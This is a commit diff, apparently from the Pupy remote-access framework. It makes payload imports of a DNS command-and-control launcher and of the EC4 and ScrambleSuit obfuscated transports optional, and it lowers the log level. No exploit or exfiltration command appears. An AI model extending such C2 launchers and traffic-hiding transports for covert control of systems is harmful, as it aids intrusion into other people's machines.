fix .py payloads without dependencies installed

This commit is contained in:
n1nj4sec 2017-03-27 20:39:56 +02:00
parent 0473464522
commit c1c062dd92
3 changed files with 22 additions and 4 deletions

View File

@ -6,7 +6,11 @@ import os, sys, logging, pkgutil, traceback
from .lib.launchers.connect import ConnectLauncher
from .lib.launchers.auto_proxy import AutoProxyLauncher
from .lib.launchers.bind import BindLauncher
from .lib.launchers.dnscnc import DNSCncLauncher
try:
from .lib.launchers.dnscnc import DNSCncLauncher
except Exception as e:
logging.warning("%s: DNSCncLauncher disabled"%(str(e)))
DNSCncLauncher=None
import importlib
transports={}
@ -51,4 +55,6 @@ except Exception as e:
launchers["connect"]=ConnectLauncher
launchers["auto_proxy"]=AutoProxyLauncher
launchers["bind"]=BindLauncher
launchers["dnscnc"]=DNSCncLauncher
if DNSCncLauncher:
launchers["dnscnc"]=DNSCncLauncher

View File

@ -1,3 +1,4 @@
import logging
from .streams import *
from .base import chain_transports
from .servers import PupyTCPServer, PupyUDPServer
@ -9,4 +10,15 @@ from .transports.http import PupyHTTPClient, PupyHTTPServer
from .transports.xor import XOR
from .transports.aes import AES256, AES128
from .transports.rsa_aes import RSA_AESClient, RSA_AESServer
from .transports.ec4 import EC4TransportServer, EC4TransportClient
try:
from .transports.ec4 import EC4TransportServer, EC4TransportClient
except Exception as e:
logging.warning("%s : Transport ec4 disabled"%str(e))
EC4TransportServer=None
EC4TransportClient=None
try:
from .transports.scramblesuit.scramblesuit import ScrambleSuitClient, ScrambleSuitServer
except Exception as e:
logging.warning("%s : Transport scramblesuit disabled"%str(e))
ScrambleSuitClient=None
ScrambleSuitServer=None

View File

@ -74,7 +74,7 @@ except ImportError:
except Exception as e:
logging.warning(e)
logging.getLogger().setLevel(logging.DEBUG)
logging.getLogger().setLevel(logging.WARNING)
try:
import pupy